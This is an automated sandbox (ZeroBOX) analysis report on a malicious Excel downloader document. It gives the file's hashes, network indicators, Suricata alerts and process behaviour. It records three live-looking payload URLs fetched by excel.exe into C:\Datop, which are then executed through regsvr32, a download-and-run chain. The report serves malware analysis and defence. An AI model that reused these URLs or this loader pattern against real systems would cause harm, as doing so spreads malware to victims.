Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 29, 2021, 11:02 a.m.	Oct. 29, 2021, 11:06 a.m.

Size	88.0KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Thu Oct 28 15:04:45 2021, Security: 0
MD5	`9c6aa1a04e32f40f6f0c0206a5f9a0b1`
SHA256	`0a4685dda708c4c343919a10dbf31d665a222d386e7b20a756b5e8c152276406`
CRC32	`DAE6E32E`
ssdeep	`1536:i5Kpb8rGYrMPe3q7Q0XV5xtezEsi8/dg691vrVmxJiME2GhdD52lZPFu1AOgI+Vc:0Kpb8rGYrMPe3q7Q0XV5xtezEsi8/dgA`
Yara	Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader Microsoft_Office_File_Zero - Microsoft Office File

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office15\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\stash-266976238.xls
2464
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
  2140
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
  2784
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
  2712

Name	Response	Post-Analysis Lookup
merwedding.com.tr	A 78.142.209.142	78.142.209.142
ini-ippatmajalengka.com	A 103.253.212.91	103.253.212.91
prestigeldnservices.co.uk	A 204.11.59.195	204.11.59.195

IP Address	Status	Action
103.253.212.91	Active	Moloch
164.124.101.2	Active	Moloch
204.11.59.195	Active	Moloch
78.142.209.142	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49168 -> 103.253.212.91:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49169 -> 103.253.212.91:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 103.253.212.91:443 -> 192.168.56.103:49170	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.103:49172 -> 78.142.209.142:443	2230002	SURICATA TLS invalid record type	Generic Protocol Command Decode
TCP 192.168.56.103:49172 -> 78.142.209.142:443	2230010	SURICATA TLS invalid record/traffic	Generic Protocol Command Decode
TCP 192.168.56.103:49172 -> 78.142.209.142:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49175 -> 78.142.209.142:443	2230002	SURICATA TLS invalid record type	Generic Protocol Command Decode
TCP 192.168.56.103:49175 -> 78.142.209.142:443	2230010	SURICATA TLS invalid record/traffic	Generic Protocol Command Decode
TCP 192.168.56.103:49173 -> 78.142.209.142:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 78.142.209.142:443 -> 192.168.56.103:49173	2230002	SURICATA TLS invalid record type	Generic Protocol Command Decode
TCP 78.142.209.142:443 -> 192.168.56.103:49173	2230010	SURICATA TLS invalid record/traffic	Generic Protocol Command Decode
TCP 192.168.56.103:49173 -> 78.142.209.142:443	2230002	SURICATA TLS invalid record type	Generic Protocol Command Decode
TCP 192.168.56.103:49178 -> 204.11.59.195:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49173 -> 78.142.209.142:443	2230010	SURICATA TLS invalid record/traffic	Generic Protocol Command Decode
TCP 192.168.56.103:49177 -> 204.11.59.195:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 204.11.59.195:443 -> 192.168.56.103:49179	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 78.142.209.142:443 -> 192.168.56.103:49172	2230002	SURICATA TLS invalid record type	Generic Protocol Command Decode
TCP 78.142.209.142:443 -> 192.168.56.103:49172	2230010	SURICATA TLS invalid record/traffic	Generic Protocol Command Decode
TCP 78.142.209.142:443 -> 192.168.56.103:49175	2230002	SURICATA TLS invalid record type	Generic Protocol Command Decode
TCP 78.142.209.142:443 -> 192.168.56.103:49175	2230010	SURICATA TLS invalid record/traffic	Generic Protocol Command Decode

Suricata TLS

No Suricata TLS

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Oct. 29, 2021, 11:02 a.m.	process_identifier: 2464 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bf98000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 29, 2021, 11:02 a.m.	process_identifier: 2464 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6b2e2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 29, 2021, 11:02 a.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c471000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 29, 2021, 11:02 a.m.	process_identifier: 2712 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c471000 process_handle: 0xffffffff	1

Creates a suspicious process (6 events)

cmdline	regsvr32 C:\Datop\test.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline	regsvr32 C:\Datop\test1.test
cmdline	regsvr32 C:\Datop\test2.test

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 29, 2021, 11:02 a.m.	process_identifier: 2464 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef70000 process_handle: 0xffffffff	1	0	0

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (3 events)

Time & API	Arguments	Return
URLDownloadToFileW Oct. 29, 2021, 11:02 a.m.	url: https://ini-ippatmajalengka.com/9dv886HWC/l.html stack_pivoted: 0 filepath_r: C:\Datop\test.test filepath: C:\Datop\test.test	2148270085
URLDownloadToFileW Oct. 29, 2021, 11:02 a.m.	url: https://merwedding.com.tr/vckdH4zr1/l.html stack_pivoted: 0 filepath_r: C:\Datop\test1.test filepath: C:\Datop\test1.test	2148270085
URLDownloadToFileW Oct. 29, 2021, 11:02 a.m.	url: https://prestigeldnservices.co.uk/71RgP1QoL/l.html stack_pivoted: 0 filepath_r: C:\Datop\test2.test filepath: C:\Datop\test2.test	2148270085

One or more non-whitelisted processes were created (6 events)

parent_process	excel.exe	martian_process	regsvr32 C:\Datop\test.test
parent_process	excel.exe	martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process	excel.exe	martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process	excel.exe	martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process	excel.exe	martian_process	regsvr32 C:\Datop\test1.test
parent_process	excel.exe	martian_process	regsvr32 C:\Datop\test2.test

The process excel.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\regsvr32.exe

stash-266976238.xls

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All